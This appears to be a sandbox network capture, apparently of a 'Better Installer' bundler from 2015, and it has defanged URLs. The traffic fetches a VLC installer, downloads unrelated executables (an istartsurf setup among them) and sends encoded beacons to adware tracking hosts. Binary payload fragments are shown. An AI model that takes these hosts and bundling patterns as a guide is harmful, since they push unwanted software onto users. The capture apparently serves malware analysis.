GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=11456329-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 11456328
Content-Range: bytes 11456329-22912656/22912657
Connection: close
Content-Type: application/octet-stream
....J......a%.>...r.i...u......M....k.,.N.....d~.."...pE'2D...tOE{r
F ..].k.:..RZ:....;...v...-..Re...e.'....#PV.......T..M.3UX)1EBV0O~...
b...Tl..\.....L.Yh.......6..N.:.Y.G;../E".=.v.t...6.I!....... F...Q..$
.C.1n.aLn&A..t.....R.g...l....[<.V..n.......s'J.s..`.H.....u.JiX.E.
5..8....h7.,.........9.)..cQa.&....j..........o.1..~.....5..I,..s6.}..
.C...Xf.#.q.....K.~.f.;m..o.....L..?...[...%...%..{....U..M<.-...L.
@J.K.y..r.;.Y..fR..'..J....i.8.XJn.h..3.....b.8.....eF.X.."......5x.c.
..j.qC.X..#.%....h.K..m..1..g....1......M(..f.7.!..U.0|......\.rdbXY.p
lD.^....J.,V.D....s..g...rKE, .....k#d{...w..2...m...<O..i...c.8oL.
.4j4.....b.7...W...O.....f.d.../.$..M367.Q..-6...%].T.W*..........x..Q
...~!.k-Y*.c.j..FDl.6......r.......Ka.5K.R.....ivA.Xo..`S....p.6....".
,..c7.2.....>..^W....V)..s>Bn.&x._.o..c......21_...Ar.aX..$5....
n.......... E#3...:.......V.x%DL...<..pVy.T9......F.({..hM.=8.qEg  
.W.Vj%......_.....&..86....a....{.p2........N...m.}..;.....2..h.P..y..
tq..A.Z.../.7..._...>G8Fi..U....h.v5I].`.`...Jn1...y.:`.;..../...&.
.....f....b.*..T.].`....B...|./.\..k..A.Bi.z...N.?..i.7E..uh:...../D..
&.U6_N........h......~....'1.xu.Tk.a....'s3..z..a.04.3u.$...{......q.k
....g..=".|X..lC.....`.....<oTX.9..^..HSQ&..........f......W.......
..po.b.n...-.a.).v...2...Z.."Q5.......R."...zb.....K. ..y...J.........
B.P....n$U.~......./....X....E.R....$.A..?8{..}..,cp..\.I.6.V.$.d..D..
. .!....3...Z.._....!.} .......H.?k....M.Q......k.....r}84".gJ.T%.*O.,
.....OgeuI.F.!.un.........2s'.......w....(y-..b..C=p..?.0... [email protected]
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=8592247-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 14320410
Content-Range: bytes 8592247-22912656/22912657
Connection: close
Content-Type: application/octet-stream
.....k... td..n..c.'.......pk.Z...BiY..O..~..5n....._..#7jl^.uS.] G.6$
U`..e.........`..d..d....J\.g.f..V.....k.r8....;....."W....M..w{.<L
X.Vg..h./.o6.C1.&z./...ra'...s.].......["l.....i......j..#.9.Dp....I..
.2^I..B ..2/..95...Ws....p#..]k.-..Y.;.[....Ojb(wb.n.....0A...V~..-0D2
. -k<..E.E.H.......6...9.!f..46'H.......E.;y.... .|.7..\.".X.`..[f.
i....[... ..,....1.K.......c...*..>.....k.YGi.M>./..%lM.v c..^..
$qm".6...].DX..O...J  .y..Q~k.NS;.Wq.k....{.j.Rg.....m.%.yJ..hD...6..\
....`...`.......p....J/^T...$....U.E..."D.....I....9......V.........Tq
x]:[email protected]...~.4\.v.$...(c............cCW.[PF.....t....&
lt;.m2ce....]9>...;wx....%.........A&..<g....?.4..w....G.1.Y..).
.9..J........e ..W....iX.Bj......w.......].i...q.v.Q....!.k.5.....V;..
....|. [.g..'......w.....O....\./.7..s.....fq..{:[email protected]..
p.. ..S......V.~..aw..j.H..e.......Y...2Y.~-:.a...~.q..uG..r.$..2.....
.!.Gu.z. ...@ .....rP^`......z<.<,.....q.....>D..o.....~.e.C.
.I.f>...P7m.H.?X.Bl.Yt1.=..s.....$.%.B...t*0...../.?.D. .63S1~.h...
.(kR....5.AZ.....C.=.!....JY...<....>j.$u"&C....n.{-.).9..t....J
...?...w2.*Jo"......t.Q.4......6..K...{.>;...).?....U.....!....`Lh.
.)..(...Lw....o..'?K.c.<r..TnI...(..kQ{../.....@......>......y.M
4..k...m..o.e..."..Q...(.r.....0K.`..P.Z.........0...p'.f..N!i.......O
...).y.......<:[email protected] ....6.J0.U..P.*.'....>..^g~
..$[*U..7..O..V...O.]?...._..`)......s.H7....!T....j4...t._T.q......\.
...T6DD....d~. ....i#....y.].......K.o.YE......R....n....*FE.L.#..
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=2864083-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=11456329-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /667.ashx?e=N6dOqWm8Q95zRTWqMhK923FOCrrBm5PrEGETSa0Al mMDmRWpWBZ0CAvELRpepitjKjHf0fty0iH ThLk0X9lPNtJ6SchDLBDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:39 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /667.ashx?e=iDRrwQhh7wuQVExL/6LI8O gnshrKAi81VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecl JfVwpv1WvsjMhJxzXo7yMFjWsG0z9OSmF904v4t2Dm1RWSXmqhXZNVXwhFNADpJU4ntMxPuUSjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj g== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:40 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /667.ashx?e=QgW8pN5r26byj2QAAnEFBMIr4n93Nx1RbDRqKGjbJHd4E7mrr1h80pGhRXiiBAM368AF84az5H1IdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPX1K6Tt9USD8HmVvO2Kq2gv91vusSxtcPBQmNZZ2BmWR2YCpHZc9ZUaGLbhvor/ikhRQC drCF7eFG4ZjYofCFeHP7qjlS71Fx Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTq8 dGsNZDKp3T9jBPYgM5LpGnU keYEooq3qYbcu/eWAYnRIgrtlY= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:40 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /3562/2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: dzqx32c9j9ub.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Sun, 26 Apr 2015 23:54:58 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3562_a377bbbd843c69917166da11f0904154/2.zip
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TkC4dl4IhZGyshDm7xp6jpe9fwk3KHTccmQR8iL91BgUGoh5ki9vww==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Sun, 26 Apr 2015 23:54:58 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3562_a377bbbd843c69917166da
11f0904154/2.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: TkC4dl4IhZGyshDm7xp6jpe9fwk3KHTccmQR8iL91BgUGoh5ki9vww==..



GET /app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipBe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH3VXFTmgBM5VCn qX4FpTdffopz0y2Q7Y HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipDU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX6igjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvwj6GsUSCmJ3H/jy8G4FGJY4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=XOxRKBm2zlx2gtIu55M0ygRKgupiq7FpZCDhZ dCw2EicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L8FbMnlffEMk8LX28cfQyyK4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUbnBUf4hjmaodvdvSfmjF3OHEUgBcRHp1Uj/h0sIE7gy9XyPkA5lWxWLfeo/B59z4BlKlGJcuDg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=hpY1rXLYst7AE3Cc4HiKo3FOCrrBm5PrQjnLZjYXBkHZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWugSsXy3IeahxEujjFNyH958Pk9jtfSr7GKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDFCY9606Z0PbLSyk7ROMFjmgdhMywCxX30tiOZna9twfdVcVOaAEzleLmf6eHphUt9 inPTLZDtg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=657cd9m3NQH2vdzuDiNvxoFc4EnZ34NRELQCQfIF0J/7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJmM72Wj5zQdwqMeABwUgxqHwfbJucngCT0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B91VxU5oATOV4uZ/p4emFS336Kc9MtkO2A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:55 GMT..Content-Length: 0..



GET /app/ping.ashx?e=6OELh0H WyqQVExL/6LI8JcyX3zp0quIsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dtx7Wk/nQyPU05nCH21lzOcrK3InHBgtbMSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjHjWBFHg8CMUV6yvWJrJyWQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:57 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sun, 26 Apr 2015 23:55:57 GMT..Content-Length: 0..



GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:01:53 GMT
Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT
Expires: Sun, 26 Apr 2015 05:11:53 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IdHXnhQjZSYRTfVJ989BNijVLa-g6eDv4PqxZYsoTt_t7jCwCCVUkw==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=2864083-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
X-Cache: RefreshHit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yd2QUI9UqsELz7QhqikDVYK4SFXiNk3N8a_jxV2dJj_T90U92oc9vA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /app/ping.ashx?e=QHucCbLl /ZRN3UqGh1U HFOCrrBm5PrawBfIapBJ0XZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0mqiRYw3wYJD9kq6IHSvLFkvq zYkkBMnThVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSMhhyCCQnPA7UQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:57 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:57 GMT..Content-Length: 0......


GET /app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HLmgGg4BdURK4WtRdLJPS8kb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EMJ0BsT2odybpFQ9C74W1fSG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:59 GMT..Content-Length: 0......


GET /app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLqjK1nJ wpbriQmIIkKyX6s0FiFjdakeNCE8o34YWHkZnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaS/pgYcHdP8mUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fPUenYv NE2dSnkSnlVgA Q== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:59 GMT..Content-Length: 0..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 556640
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-556639/556640
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........f.>..nm.
.nm..nmoI.m..nm...m..nm...m..nm...m..nm...m..nm...m..nm..om!.nm...m..n
m...m..nm...m..nmRich..nm........PE..L....E7U.........................
.................@.......................................@............
.....................`........`...............b..`....0...:...........
...........................@...............,..........................
..text...,........................... ..`.rdata.. 9.......:...........
.......@[email protected].......,[email protected]........`.....
..(..............@[email protected][email protected].........
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..V3.j...P.u..F......F
....2.....^]...U......V..M..;...i..... .;E.s..E..M..I....s..M.S... ]..
. M.;.w.h@|F.......M. E..M..E.;.s.j.Q........]..F.;.tR...r..........r.
.......u....M....E.QP.........{..r....~..r........u...SP...........U.j
.[;U.wG;.r.......;.r.......RQ..P.r....F....;.r.......;.r........u....M
....E..F;.r.......;.r........u....M...Q..P."....F....;.r.......;.r....
....u...QP......M.....~...N.[r.................h(|F.......U..Q.}...M.u
.;A.viS.Y.VW;.sY .9].wR3.B U....y..r......M....SQ.E.P.&.M..}...3..
<<< skipped >>>


GET /v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.97 ms","message":"store 4 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:42 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
